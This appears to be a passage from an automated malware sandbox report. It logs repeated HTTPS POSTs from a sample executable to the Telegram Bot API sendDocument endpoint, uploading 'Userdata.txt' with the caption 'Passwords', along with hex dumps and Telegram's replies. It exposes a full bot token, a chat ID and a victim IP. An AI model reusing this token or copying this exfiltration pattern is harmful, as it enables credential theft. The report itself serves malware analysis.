2025-01-10 19:10:25 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 38 30 38 36 39 30 30 30 32 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd318086900029Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 19:10:25 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 19:10:25 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 19:10:25 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 32 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 36 32 32 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43525,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736536225,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49789	149.154.167.220	443	4932	C:\Users\user\Desktop\ppISxhDcpF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:10:27 UTC	296	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd319c6abdf465 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 19:10:27 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 39 63 36 61 62 64 66 34 36 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd319c6abdf465Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 19:10:27 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 19:10:27 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 19:10:27 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 32 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 36 32 32 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43526,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736536227,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49801	149.154.167.220	443	4932	C:\Users\user\Desktop\ppISxhDcpF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:10:29 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31b1443a20fa Host: api.telegram.org Content-Length: 1090
2025-01-10 19:10:29 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 62 31 34 34 33 61 32 30 66 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31b1443a20faContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 19:10:29 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 19:10:29 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 19:10:29 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 32 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 36 32 32 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43527,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736536229,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49815	149.154.167.220	443	4932	C:\Users\user\Desktop\ppISxhDcpF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:10:31 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31c60e986e76 Host: api.telegram.org Content-Length: 1090
2025-01-10 19:10:31 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 63 36 30 65 39 38 36 65 37 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31c60e986e76Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 19:10:31 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 19:10:31 GMT Content-Type: application/json Content-Length: 544 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 19:10:31 UTC	544	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 32 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 36 32 33 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43528,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736536231,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49830	149.154.167.220	443	4932	C:\Users\user\Desktop\ppISxhDcpF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:10:32 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31dac9051ac1 Host: api.telegram.org Content-Length: 1090
2025-01-10 19:10:32 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 64 61 63 39 30 35 31 61 63 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31dac9051ac1Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 19:10:33 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 19:10:33 GMT Content-Type: application/json Content-Length: 544 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 19:10:33 UTC	544	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 32 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 36 32 33 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43529,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736536233,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49842	149.154.167.220	443	4932	C:\Users\user\Desktop\ppISxhDcpF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:10:34 UTC	296	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31f23425ef07 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 19:10:34 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 66 32 33 34 32 35 65 66 30 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31f23425ef07Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 19:10:35 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 19:10:35 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 19:10:35 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 33 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 36 32 33 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43530,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736536235,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49863	149.154.167.220	443	4932	C:\Users\user\Desktop\ppISxhDcpF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:10:37 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32148015fb2f Host: api.telegram.org Content-Length: 1090
2025-01-10 19:10:37 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 31 34 38 30 31 35 66 62 32 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32148015fb2fContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 19:10:38 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 19:10:37 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 19:10:38 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 33 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 36 32 33 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43531,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736536237,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49873	149.154.167.220	443	4932	C:\Users\user\Desktop\ppISxhDcpF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:10:39 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd322bba2a7429 Host: api.telegram.org Content-Length: 1090
2025-01-10 19:10:39 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 32 62 62 61 32 61 37 34 32 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd322bba2a7429Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 19:10:39 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 19:10:39 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
